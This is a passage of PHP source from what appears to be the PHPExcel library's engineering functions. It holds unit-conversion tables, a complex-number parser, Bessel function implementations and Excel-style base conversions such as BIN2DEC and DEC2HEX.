6.41616438565991E+05, 'cal' => 6.41186757845835E+05, 'eV' => 1.67553000000000E+25, 'ev' => 1.67553000000000E+25, 'HPh' => 1.0, 'hh' => 1.0, 'Wh' => 7.45699653134593E+02, 'wh' => 7.45699653134593E+02, 'flb' => 6.37047316692964E+07, 'BTU' => 2.54442605275546E+03, 'btu' => 2.54442605275546E+03, ), 'hh' => array( 'J' => 2.68451741316170E+06, 'e' => 2.68451612283024E+13, 'c' => 6.41616438565991E+05, 'cal' => 6.41186757845835E+05, 'eV' => 1.67553000000000E+25, 'ev' => 1.67553000000000E+25, 'HPh' => 1.0, 'hh' => 1.0, 'Wh' => 7.45699653134593E+02, 'wh' => 7.45699653134593E+02, 'flb' => 6.37047316692964E+07, 'BTU' => 2.54442605275546E+03, 'btu' => 2.54442605275546E+03, ), 'Wh' => array( 'J' => 3.59999820554720E+03, 'e' => 3.59999647518369E+10, 'c' => 8.60422069219046E+02, 'cal' => 8.59845857713046E+02, 'eV' => 2.24692340000000E+22, 'ev' => 2.24692340000000E+22, 'HPh' => 1.34102248243839E-03, 'hh' => 1.34102248243839E-03, 'Wh' => 1.0, 'wh' => 1.0, 'flb' => 8.54294774062316E+04, 'BTU' => 3.41213254164705E+00, 'btu' => 3.41213254164705E+00, ), 'wh' => array( 'J' => 3.59999820554720E+03, 'e' => 3.59999647518369E+10, 'c' => 8.60422069219046E+02, 'cal' => 8.59845857713046E+02, 'eV' => 2.24692340000000E+22, 'ev' => 2.24692340000000E+22, 'HPh' => 1.34102248243839E-03, 'hh' => 1.34102248243839E-03, 'Wh' => 1.0, 'wh' => 1.0, 'flb' => 8.54294774062316E+04, 'BTU' => 3.41213254164705E+00, 'btu' => 3.41213254164705E+00, ), 'flb' => array( 'J' => 4.21400003236424E-02, 'e' => 4.21399800687660E+05, 'c' => 1.00717234301644E-02, 'cal' => 1.00649785509554E-02, 'eV' => 2.63015000000000E+17, 'ev' => 2.63015000000000E+17, 'HPh' => 1.56974211145130E-08, 'hh' => 1.56974211145130E-08, 'Wh' => 1.17055614802000E-05, 'wh' => 1.17055614802000E-05, 'flb' => 1.0, 'BTU' => 3.99409272448406E-05, 'btu' => 3.99409272448406E-05, ), 'BTU' => array( 'J' => 1.05505813786749E+03, 'e' => 1.05505763074665E+10, 'c' => 2.52165488508168E+02, 'cal' => 2.51996617135510E+02, 'eV' => 6.58510000000000E+21, 'ev' => 6.58510000000000E+21, 'HPh' => 3.93015941224568E-04, 'hh' => 3.93015941224568E-04, 'Wh' => 2.93071851047526E-01, 'wh' => 2.93071851047526E-01, 'flb' => 2.50369750774671E+04, 'BTU' => 1.0, 'btu' => 1.0, ), 'btu' => array( 'J' => 1.05505813786749E+03, 'e' => 1.05505763074665E+10, 'c' => 2.52165488508168E+02, 'cal' => 2.51996617135510E+02, 'eV' => 6.58510000000000E+21, 'ev' => 6.58510000000000E+21, 'HPh' => 3.93015941224568E-04, 'hh' => 3.93015941224568E-04, 'Wh' => 2.93071851047526E-01, 'wh' => 2.93071851047526E-01, 'flb' => 2.50369750774671E+04, 'BTU' => 1.0, 'btu' => 1.0, ), ), 'Power' => array( 'HP' => array( 'HP' => 1.0, 'h' => 1.0, 'W' => 7.45701000000000E+02, 'w' => 7.45701000000000E+02, ), 'h' => array( 'HP' => 1.0, 'h' => 1.0, 'W' => 7.45701000000000E+02, 'w' => 7.45701000000000E+02, ), 'W' => array( 'HP' => 1.34102006031908E-03, 'h' => 1.34102006031908E-03, 'W' => 1.0, 'w' => 1.0, ), 'w' => array( 'HP' => 1.34102006031908E-03, 'h' => 1.34102006031908E-03, 'W' => 1.0, 'w' => 1.0, ), ), 'Magnetism' => array( 'T' => array( 'T' => 1.0, 'ga' => 10000.0, ), 'ga' => array( 'T' => 0.0001, 'ga' => 1.0, ), ), 'Liquid' => array( 'tsp' => array( 'tsp' => 1.0, 'tbs' => 3.33333333333333E-01, 'oz' => 1.66666666666667E-01, 'cup' => 2.08333333333333E-02, 'pt' => 1.04166666666667E-02, 'us_pt' => 1.04166666666667E-02, 'uk_pt' => 8.67558516821960E-03, 'qt' => 5.20833333333333E-03, 'gal' => 1.30208333333333E-03, 'l' => 4.92999408400710E-03, 'lt' => 4.92999408400710E-03, ), 'tbs' => array( 'tsp' => 3.00000000000000E+00, 'tbs' => 1.0, 'oz' => 5.00000000000000E-01, 'cup' => 6.25000000000000E-02, 'pt' => 3.12500000000000E-02, 'us_pt' => 3.12500000000000E-02, 'uk_pt' => 2.60267555046588E-02, 'qt' => 1.56250000000000E-02, 'gal' => 3.90625000000000E-03, 'l' => 1.47899822520213E-02, 'lt' => 1.47899822520213E-02, ), 'oz' => array( 'tsp' => 6.00000000000000E+00, 'tbs' => 2.00000000000000E+00, 'oz' => 1.0, 'cup' => 1.25000000000000E-01, 'pt' => 6.25000000000000E-02, 'us_pt' => 6.25000000000000E-02, 'uk_pt' => 5.20535110093176E-02, 'qt' => 3.12500000000000E-02, 'gal' => 7.81250000000000E-03, 'l' => 2.95799645040426E-02, 'lt' => 2.95799645040426E-02, ), 'cup' => array( 'tsp' => 4.80000000000000E+01, 'tbs' => 1.60000000000000E+01, 'oz' => 8.00000000000000E+00, 'cup' => 1.0, 'pt' => 5.00000000000000E-01, 'us_pt' => 5.00000000000000E-01, 'uk_pt' => 4.16428088074541E-01, 'qt' => 2.50000000000000E-01, 'gal' => 6.25000000000000E-02, 'l' => 2.36639716032341E-01, 'lt' => 2.36639716032341E-01, ), 'pt' => array( 'tsp' => 9.60000000000000E+01, 'tbs' => 3.20000000000000E+01, 'oz' => 1.60000000000000E+01, 'cup' => 2.00000000000000E+00, 'pt' => 1.0, 'us_pt' => 1.0, 'uk_pt' => 8.32856176149081E-01, 'qt' => 5.00000000000000E-01, 'gal' => 1.25000000000000E-01, 'l' => 4.73279432064682E-01, 'lt' => 4.73279432064682E-01, ), 'us_pt' => array( 'tsp' => 9.60000000000000E+01, 'tbs' => 3.20000000000000E+01, 'oz' => 1.60000000000000E+01, 'cup' => 2.00000000000000E+00, 'pt' => 1.0, 'us_pt' => 1.0, 'uk_pt' => 8.32856176149081E-01, 'qt' => 5.00000000000000E-01, 'gal' => 1.25000000000000E-01, 'l' => 4.73279432064682E-01, 'lt' => 4.73279432064682E-01, ), 'uk_pt' => array( 'tsp' => 1.15266000000000E+02, 'tbs' => 3.84220000000000E+01, 'oz' => 1.92110000000000E+01, 'cup' => 2.40137500000000E+00, 'pt' => 1.20068750000000E+00, 'us_pt' => 1.20068750000000E+00, 'uk_pt' => 1.0, 'qt' => 6.00343750000000E-01, 'gal' => 1.50085937500000E-01, 'l' => 5.68260698087162E-01, 'lt' => 5.68260698087162E-01, ), 'qt' => array( 'tsp' => 1.92000000000000E+02, 'tbs' => 6.40000000000000E+01, 'oz' => 3.20000000000000E+01, 'cup' => 4.00000000000000E+00, 'pt' => 2.00000000000000E+00, 'us_pt' => 2.00000000000000E+00, 'uk_pt' => 1.66571235229816E+00, 'qt' => 1.0, 'gal' => 2.50000000000000E-01, 'l' => 9.46558864129363E-01, 'lt' => 9.46558864129363E-01, ), 'gal' => array( 'tsp' => 7.68000000000000E+02, 'tbs' => 2.56000000000000E+02, 'oz' => 1.28000000000000E+02, 'cup' => 1.60000000000000E+01, 'pt' => 8.00000000000000E+00, 'us_pt' => 8.00000000000000E+00, 'uk_pt' => 6.66284940919265E+00, 'qt' => 4.00000000000000E+00, 'gal' => 1.0, 'l' => 3.78623545651745E+00, 'lt' => 3.78623545651745E+00, ), 'l' => array( 'tsp' => 2.02840000000000E+02, 'tbs' => 6.76133333333333E+01, 'oz' => 3.38066666666667E+01, 'cup' => 4.22583333333333E+00, 'pt' => 2.11291666666667E+00, 'us_pt' => 2.11291666666667E+00, 'uk_pt' => 1.75975569552166E+00, 'qt' => 1.05645833333333E+00, 'gal' => 2.64114583333333E-01, 'l' => 1.0, 'lt' => 1.0, ), 'lt' => array( 'tsp' => 2.02840000000000E+02, 'tbs' => 6.76133333333333E+01, 'oz' => 3.38066666666667E+01, 'cup' => 4.22583333333333E+00, 'pt' => 2.11291666666667E+00, 'us_pt' => 2.11291666666667E+00, 'uk_pt' => 1.75975569552166E+00, 'qt' => 1.05645833333333E+00, 'gal' => 2.64114583333333E-01, 'l' => 1.0, 'lt' => 1.0, ), ), ); /** * parseComplex * * Parses a complex number into its real and imaginary parts, and an I or J suffix * * @param string $complexNumber The complex number * @return string[] Indexed on "real", "imaginary" and "suffix" */ public static function parseComplex($complexNumber) { $workString = (string) $complexNumber; $realNumber = $imaginary = 0; // Extract the suffix, if there is one $suffix = substr($workString, -1); if (!is_numeric($suffix)) { $workString = substr($workString, 0, -1); } else { $suffix = ''; } // Split the input into its Real and Imaginary components $leadingSign = 0; if (strlen($workString) > 0) { $leadingSign = (($workString{0} == '+') || ($workString{0} == '-')) ? 1 : 0; } $power = ''; $realNumber = strtok($workString, '+-'); if (strtoupper(substr($realNumber, -1)) == 'E') { $power = strtok('+-'); ++$leadingSign; } $realNumber = substr($workString, 0, strlen($realNumber)+strlen($power)+$leadingSign); if ($suffix != '') { $imaginary = substr($workString, strlen($realNumber)); if (($imaginary == '') && (($realNumber == '') || ($realNumber == '+') || ($realNumber == '-'))) { $imaginary = $realNumber.'1'; $realNumber = '0'; } elseif ($imaginary == '') { $imaginary = $realNumber; $realNumber = '0'; } elseif (($imaginary == '+') || ($imaginary == '-')) { $imaginary .= '1'; } } return array( 'real' => $realNumber, 'imaginary' => $imaginary, 'suffix' => $suffix ); } /** * Cleans the leading characters in a complex number string * * @param string $complexNumber The complex number to clean * @return string The "cleaned" complex number */ private static function cleanComplex($complexNumber) { if ($complexNumber{0} == '+') { $complexNumber = substr($complexNumber, 1); } if ($complexNumber{0} == '0') { $complexNumber = substr($complexNumber, 1); } if ($complexNumber{0} == '.') { $complexNumber = '0'.$complexNumber; } if ($complexNumber{0} == '+') { $complexNumber = substr($complexNumber, 1); } return $complexNumber; } /** * Formats a number base string value with leading zeroes * * @param string $xVal The "number" to pad * @param integer $places The length that we want to pad this value * @return string The padded "number" */ private static function nbrConversionFormat($xVal, $places) { if (!is_null($places)) { if (strlen($xVal) <= $places) { return substr(str_pad($xVal, $places, '0', STR_PAD_LEFT), -10); } else { return PHPExcel_Calculation_Functions::NaN(); } } return substr($xVal, -10); } /** * BESSELI * * Returns the modified Bessel function In(x), which is equivalent to the Bessel function evaluated * for purely imaginary arguments * * Excel Function: * BESSELI(x,ord) * * @access public * @category Engineering Functions * @param float $x The value at which to evaluate the function. * If x is nonnumeric, BESSELI returns the #VALUE! error value. * @param integer $ord The order of the Bessel function. * If ord is not an integer, it is truncated. * If $ord is nonnumeric, BESSELI returns the #VALUE! error value. * If $ord < 0, BESSELI returns the #NUM! error value. * @return float * */ public static function BESSELI($x, $ord) { $x = (is_null($x)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($x); $ord = (is_null($ord)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($ord); if ((is_numeric($x)) && (is_numeric($ord))) { $ord = floor($ord); if ($ord < 0) { return PHPExcel_Calculation_Functions::NaN(); } if (abs($x) <= 30) { $fResult = $fTerm = pow($x / 2, $ord) / PHPExcel_Calculation_MathTrig::FACT($ord); $ordK = 1; $fSqrX = ($x * $x) / 4; do { $fTerm *= $fSqrX; $fTerm /= ($ordK * ($ordK + $ord)); $fResult += $fTerm; } while ((abs($fTerm) > 1e-12) && (++$ordK < 100)); } else { $f_2_PI = 2 * M_PI; $fXAbs = abs($x); $fResult = exp($fXAbs) / sqrt($f_2_PI * $fXAbs); if (($ord & 1) && ($x < 0)) { $fResult = -$fResult; } } return (is_nan($fResult)) ? PHPExcel_Calculation_Functions::NaN() : $fResult; } return PHPExcel_Calculation_Functions::VALUE(); } /** * BESSELJ * * Returns the Bessel function * * Excel Function: * BESSELJ(x,ord) * * @access public * @category Engineering Functions * @param float $x The value at which to evaluate the function. * If x is nonnumeric, BESSELJ returns the #VALUE! error value. * @param integer $ord The order of the Bessel function. If n is not an integer, it is truncated. * If $ord is nonnumeric, BESSELJ returns the #VALUE! error value. * If $ord < 0, BESSELJ returns the #NUM! error value. * @return float * */ public static function BESSELJ($x, $ord) { $x = (is_null($x)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($x); $ord = (is_null($ord)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($ord); if ((is_numeric($x)) && (is_numeric($ord))) { $ord = floor($ord); if ($ord < 0) { return PHPExcel_Calculation_Functions::NaN(); } $fResult = 0; if (abs($x) <= 30) { $fResult = $fTerm = pow($x / 2, $ord) / PHPExcel_Calculation_MathTrig::FACT($ord); $ordK = 1; $fSqrX = ($x * $x) / -4; do { $fTerm *= $fSqrX; $fTerm /= ($ordK * ($ordK + $ord)); $fResult += $fTerm; } while ((abs($fTerm) > 1e-12) && (++$ordK < 100)); } else { $f_PI_DIV_2 = M_PI / 2; $f_PI_DIV_4 = M_PI / 4; $fXAbs = abs($x); $fResult = sqrt(M_2DIVPI / $fXAbs) * cos($fXAbs - $ord * $f_PI_DIV_2 - $f_PI_DIV_4); if (($ord & 1) && ($x < 0)) { $fResult = -$fResult; } } return (is_nan($fResult)) ? PHPExcel_Calculation_Functions::NaN() : $fResult; } return PHPExcel_Calculation_Functions::VALUE(); } private static function besselK0($fNum) { if ($fNum <= 2) { $fNum2 = $fNum * 0.5; $y = ($fNum2 * $fNum2); $fRet = -log($fNum2) * self::BESSELI($fNum, 0) + (-0.57721566 + $y * (0.42278420 + $y * (0.23069756 + $y * (0.3488590e-1 + $y * (0.262698e-2 + $y * (0.10750e-3 + $y * 0.74e-5)))))); } else { $y = 2 / $fNum; $fRet = exp(-$fNum) / sqrt($fNum) * (1.25331414 + $y * (-0.7832358e-1 + $y * (0.2189568e-1 + $y * (-0.1062446e-1 + $y * (0.587872e-2 + $y * (-0.251540e-2 + $y * 0.53208e-3)))))); } return $fRet; } private static function besselK1($fNum) { if ($fNum <= 2) { $fNum2 = $fNum * 0.5; $y = ($fNum2 * $fNum2); $fRet = log($fNum2) * self::BESSELI($fNum, 1) + (1 + $y * (0.15443144 + $y * (-0.67278579 + $y * (-0.18156897 + $y * (-0.1919402e-1 + $y * (-0.110404e-2 + $y * (-0.4686e-4))))))) / $fNum; } else { $y = 2 / $fNum; $fRet = exp(-$fNum) / sqrt($fNum) * (1.25331414 + $y * (0.23498619 + $y * (-0.3655620e-1 + $y * (0.1504268e-1 + $y * (-0.780353e-2 + $y * (0.325614e-2 + $y * (-0.68245e-3))))))); } return $fRet; } /** * BESSELK * * Returns the modified Bessel function Kn(x), which is equivalent to the Bessel functions evaluated * for purely imaginary arguments. * * Excel Function: * BESSELK(x,ord) * * @access public * @category Engineering Functions * @param float $x The value at which to evaluate the function. * If x is nonnumeric, BESSELK returns the #VALUE! error value. * @param integer $ord The order of the Bessel function. If n is not an integer, it is truncated. * If $ord is nonnumeric, BESSELK returns the #VALUE! error value. * If $ord < 0, BESSELK returns the #NUM! error value. * @return float * */ public static function BESSELK($x, $ord) { $x = (is_null($x)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($x); $ord = (is_null($ord)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($ord); if ((is_numeric($x)) && (is_numeric($ord))) { if (($ord < 0) || ($x == 0.0)) { return PHPExcel_Calculation_Functions::NaN(); } switch (floor($ord)) { case 0: return self::besselK0($x); case 1: return self::besselK1($x); default: $fTox = 2 / $x; $fBkm = self::besselK0($x); $fBk = self::besselK1($x); for ($n = 1; $n < $ord; ++$n) { $fBkp = $fBkm + $n * $fTox * $fBk; $fBkm = $fBk; $fBk = $fBkp; } } return (is_nan($fBk)) ? PHPExcel_Calculation_Functions::NaN() : $fBk; } return PHPExcel_Calculation_Functions::VALUE(); } private static function besselY0($fNum) { if ($fNum < 8.0) { $y = ($fNum * $fNum); $f1 = -2957821389.0 + $y * (7062834065.0 + $y * (-512359803.6 + $y * (10879881.29 + $y * (-86327.92757 + $y * 228.4622733)))); $f2 = 40076544269.0 + $y * (745249964.8 + $y * (7189466.438 + $y * (47447.26470 + $y * (226.1030244 + $y)))); $fRet = $f1 / $f2 + 0.636619772 * self::BESSELJ($fNum, 0) * log($fNum); } else { $z = 8.0 / $fNum; $y = ($z * $z); $xx = $fNum - 0.785398164; $f1 = 1 + $y * (-0.1098628627e-2 + $y * (0.2734510407e-4 + $y * (-0.2073370639e-5 + $y * 0.2093887211e-6))); $f2 = -0.1562499995e-1 + $y * (0.1430488765e-3 + $y * (-0.6911147651e-5 + $y * (0.7621095161e-6 + $y * (-0.934945152e-7)))); $fRet = sqrt(0.636619772 / $fNum) * (sin($xx) * $f1 + $z * cos($xx) * $f2); } return $fRet; } private static function besselY1($fNum) { if ($fNum < 8.0) { $y = ($fNum * $fNum); $f1 = $fNum * (-0.4900604943e13 + $y * (0.1275274390e13 + $y * (-0.5153438139e11 + $y * (0.7349264551e9 + $y * (-0.4237922726e7 + $y * 0.8511937935e4))))); $f2 = 0.2499580570e14 + $y * (0.4244419664e12 + $y * (0.3733650367e10 + $y * (0.2245904002e8 + $y * (0.1020426050e6 + $y * (0.3549632885e3 + $y))))); $fRet = $f1 / $f2 + 0.636619772 * ( self::BESSELJ($fNum, 1) * log($fNum) - 1 / $fNum); } else { $fRet = sqrt(0.636619772 / $fNum) * sin($fNum - 2.356194491); } return $fRet; } /** * BESSELY * * Returns the Bessel function, which is also called the Weber function or the Neumann function. * * Excel Function: * BESSELY(x,ord) * * @access public * @category Engineering Functions * @param float $x The value at which to evaluate the function. * If x is nonnumeric, BESSELK returns the #VALUE! error value. * @param integer $ord The order of the Bessel function. If n is not an integer, it is truncated. * If $ord is nonnumeric, BESSELK returns the #VALUE! error value. * If $ord < 0, BESSELK returns the #NUM! error value. * * @return float */ public static function BESSELY($x, $ord) { $x = (is_null($x)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($x); $ord = (is_null($ord)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($ord); if ((is_numeric($x)) && (is_numeric($ord))) { if (($ord < 0) || ($x == 0.0)) { return PHPExcel_Calculation_Functions::NaN(); } switch (floor($ord)) { case 0: return self::besselY0($x); case 1: return self::besselY1($x); default: $fTox = 2 / $x; $fBym = self::besselY0($x); $fBy = self::besselY1($x); for ($n = 1; $n < $ord; ++$n) { $fByp = $n * $fTox * $fBy - $fBym; $fBym = $fBy; $fBy = $fByp; } } return (is_nan($fBy)) ? PHPExcel_Calculation_Functions::NaN() : $fBy; } return PHPExcel_Calculation_Functions::VALUE(); } /** * BINTODEC * * Return a binary value as decimal. * * Excel Function: * BIN2DEC(x) * * @access public * @category Engineering Functions * @param string $x The binary number (as a string) that you want to convert. The number * cannot contain more than 10 characters (10 bits). The most significant * bit of number is the sign bit. The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is not a valid binary number, or if number contains more than * 10 characters (10 bits), BIN2DEC returns the #NUM! error value. * @return string */ public static function BINTODEC($x) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); if (is_bool($x)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $x = (int) $x; } else { return PHPExcel_Calculation_Functions::VALUE(); } } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $x = floor($x); } $x = (string) $x; if (strlen($x) > preg_match_all('/[01]/', $x, $out)) { return PHPExcel_Calculation_Functions::NaN(); } if (strlen($x) > 10) { return PHPExcel_Calculation_Functions::NaN(); } elseif (strlen($x) == 10) { // Two's Complement $x = substr($x, -9); return '-'.(512-bindec($x)); } return bindec($x); } /** * BINTOHEX * * Return a binary value as hex. * * Excel Function: * BIN2HEX(x[,places]) * * @access public * @category Engineering Functions * @param string $x The binary number (as a string) that you want to convert. The number * cannot contain more than 10 characters (10 bits). The most significant * bit of number is the sign bit. The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is not a valid binary number, or if number contains more than * 10 characters (10 bits), BIN2HEX returns the #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, BIN2HEX uses the * minimum number of characters necessary. Places is useful for padding the * return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, BIN2HEX returns the #VALUE! error value. * If places is negative, BIN2HEX returns the #NUM! error value. * @return string */ public static function BINTOHEX($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $x = (int) $x; } else { return PHPExcel_Calculation_Functions::VALUE(); } } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $x = floor($x); } $x = (string) $x; if (strlen($x) > preg_match_all('/[01]/', $x, $out)) { return PHPExcel_Calculation_Functions::NaN(); } if (strlen($x) > 10) { return PHPExcel_Calculation_Functions::NaN(); } elseif (strlen($x) == 10) { // Two's Complement return str_repeat('F', 8).substr(strtoupper(dechex(bindec(substr($x, -9)))), -2); } $hexVal = (string) strtoupper(dechex(bindec($x))); return self::nbrConversionFormat($hexVal, $places); } /** * BINTOOCT * * Return a binary value as octal. * * Excel Function: * BIN2OCT(x[,places]) * * @access public * @category Engineering Functions * @param string $x The binary number (as a string) that you want to convert. The number * cannot contain more than 10 characters (10 bits). The most significant * bit of number is the sign bit. The remaining 9 bits are magnitude bits. * Negative numbers are represented using two's-complement notation. * If number is not a valid binary number, or if number contains more than * 10 characters (10 bits), BIN2OCT returns the #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, BIN2OCT uses the * minimum number of characters necessary. Places is useful for padding the * return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, BIN2OCT returns the #VALUE! error value. * If places is negative, BIN2OCT returns the #NUM! error value. * @return string */ public static function BINTOOCT($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $x = (int) $x; } else { return PHPExcel_Calculation_Functions::VALUE(); } } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $x = floor($x); } $x = (string) $x; if (strlen($x) > preg_match_all('/[01]/', $x, $out)) { return PHPExcel_Calculation_Functions::NaN(); } if (strlen($x) > 10) { return PHPExcel_Calculation_Functions::NaN(); } elseif (strlen($x) == 10) { // Two's Complement return str_repeat('7', 7).substr(strtoupper(decoct(bindec(substr($x, -9)))), -3); } $octVal = (string) decoct(bindec($x)); return self::nbrConversionFormat($octVal, $places); } /** * DECTOBIN * * Return a decimal value as binary. * * Excel Function: * DEC2BIN(x[,places]) * * @access public * @category Engineering Functions * @param string $x The decimal integer you want to convert. If number is negative, * valid place values are ignored and DEC2BIN returns a 10-character * (10-bit) binary number in which the most significant bit is the sign * bit. The remaining 9 bits are magnitude bits. Negative numbers are * represented using two's-complement notation. * If number < -512 or if number > 511, DEC2BIN returns the #NUM! error * value. * If number is nonnumeric, DEC2BIN returns the #VALUE! error value. * If DEC2BIN requires more than places characters, it returns the #NUM! * error value. * @param integer $places The number of characters to use. If places is omitted, DEC2BIN uses * the minimum number of characters necessary. Places is useful for * padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, DEC2BIN returns the #VALUE! error value. * If places is zero or negative, DEC2BIN returns the #NUM! error value. * @return string */ public static function DECTOBIN($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $x = (int) $x; } else { return PHPExcel_Calculation_Functions::VALUE(); } } $x = (string) $x; if (strlen($x) > preg_match_all('/[-0123456789.]/', $x, $out)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) floor($x); $r = decbin($x); if (strlen($r) == 32) { // Two's Complement $r = substr($r, -10); } elseif (strlen($r) > 11) { return PHPExcel_Calculation_Functions::NaN(); } return self::nbrConversionFormat($r, $places); } /** * DECTOHEX * * Return a decimal value as hex. * * Excel Function: * DEC2HEX(x[,places]) * * @access public * @category Engineering Functions * @param string $x The decimal integer you want to convert. If number is negative, * places is ignored and DEC2HEX returns a 10-character (40-bit) * hexadecimal number in which the most significant bit is the sign * bit. The remaining 39 bits are magnitude bits. Negative numbers * are represented using two's-complement notation. * If number < -549,755,813,888 or if number > 549,755,813,887, * DEC2HEX returns the #NUM! error value. * If number is nonnumeric, DEC2HEX returns the #VALUE! error value. * If DEC2HEX requires more than places characters, it returns the * #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, DEC2HEX uses * the minimum number of characters necessary. Places is useful for * padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, DEC2HEX returns the #VALUE! error value. * If places is zero or negative, DEC2HEX returns the #NUM! error value. * @return string */ public static function DECTOHEX($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $x = (int) $x; } else { return PHPExcel_Calculation_Functions::VALUE(); } } $x = (string) $x; if (strlen($x) > preg_match_all('/[-0123456789.]/', $x, $out)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) floor($x); $r = strtoupper(dechex($x)); if (strlen($r) == 8) { // Two's Complement $r = 'FF'.$r; } return self::nbrConversionFormat($r, $places); } /** * DECTOOCT * * Return an decimal value as octal. * * Excel Function: * DEC2OCT(x[,places]) * * @access public * @category Engineering Functions * @param string $x The decimal integer you want to convert. If number is negative, * places is ignored and DEC2OCT returns a 10-character (30-bit) * octal number in which the most significant bit is the sign bit. * The remaining 29 bits are magnitude bits. Negative numbers are * represented using two's-complement notation. * If number < -536,870,912 or if number > 536,870,911, DEC2OCT * returns the #NUM! error value. * If number is nonnumeric, DEC2OCT returns the #VALUE! error value. * If DEC2OCT requires more than places characters, it returns the * #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, DEC2OCT uses * the minimum number of characters necessary. Places is useful for * padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, DEC2OCT returns the #VALUE! error value. * If places is zero or negative, DEC2OCT returns the #NUM! error value. * @return string */ public static function DECTOOCT($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $x = (int) $x; } else { return PHPExcel_Calculation_Functions::VALUE(); } } $x = (string) $x; if (strlen($x) > preg_match_all('/[-0123456789.]/', $x, $out)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) floor($x); $r = decoct($x); if (strlen($r) == 11) { // Two's Complement $r = substr($r, -10); } return self::nbrConversionFormat($r, $places); } /** * HEXTOBIN * * Return a hex value as binary. * * Excel Function: * HEX2BIN(x[,places]) * * @access public * @category Engineering Functions * @param string $x the hexadecimal number you want to convert. Number cannot * contain more than 10 characters. The most significant bit of * number is the sign bit (40th bit from the right). The remaining * 9 bits are magnitude bits. Negative numbers are represented * using two's-complement notation. * If number is negative, HEX2BIN ignores places and returns a * 10-character binary number. * If number is negative, it cannot be less than FFFFFFFE00, and * if number is positive, it cannot be greater than 1FF. * If number is not a valid hexadecimal number, HEX2BIN returns * the #NUM! error value. * If HEX2BIN requires more than places characters, it returns * the #NUM! error value. * @param integer $places The number of characters to use. If places is omitted, * HEX2BIN uses the minimum number of characters necessary. Places * is useful for padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, HEX2BIN returns the #VALUE! error value. * If places is negative, HEX2BIN returns the #NUM! error value. * @return string */ public static function HEXTOBIN($x, $places = null) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $places = PHPExcel_Calculation_Functions::flattenSingleValue($places); if (is_bool($x)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) $x; if (strlen($x) > preg_match_all('/[0123456789ABCDEF]/', strtoupper($x), $out)) { return PHPExcel_Calculation_Functions::NaN(); } $binVal = decbin(hexdec($x)); return substr(self::nbrConversionFormat($binVal, $places), -10); } /** * HEXTODEC * * Return a hex value as decimal. * * Excel Function: * HEX2DEC(x) * * @access public * @category Engineering Functions * @param string $x The hexadecimal number you want to convert. This number cannot * contain more than 10 characters (40 bits). The most significant * bit of number is the sign bit. The remaining 39 bits are magnitude * bits. Negative numbers are represented using two's-complement * notation. * If number is not a valid hexadecimal number, HEX2DEC returns the * #NUM! error value. * @return string */ public static function HEXTODEC($x) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); if (is_bool($x)) { return PHPExcel_Calculation_Functions::VALUE(); } $x = (string) $x; if (strlen($x) > preg_match_all('/[0123456789ABCDEF]/', strtoupper($x), $out)) { return PHPExcel_Calculation_Functions::NaN(); } return hexdec($x); } /** * HEXTOOCT * * Return a hex value as octal. * * Excel Function: * HEX2OCT(x[,places]) * * @access public * @category Engineering Functions * @param string 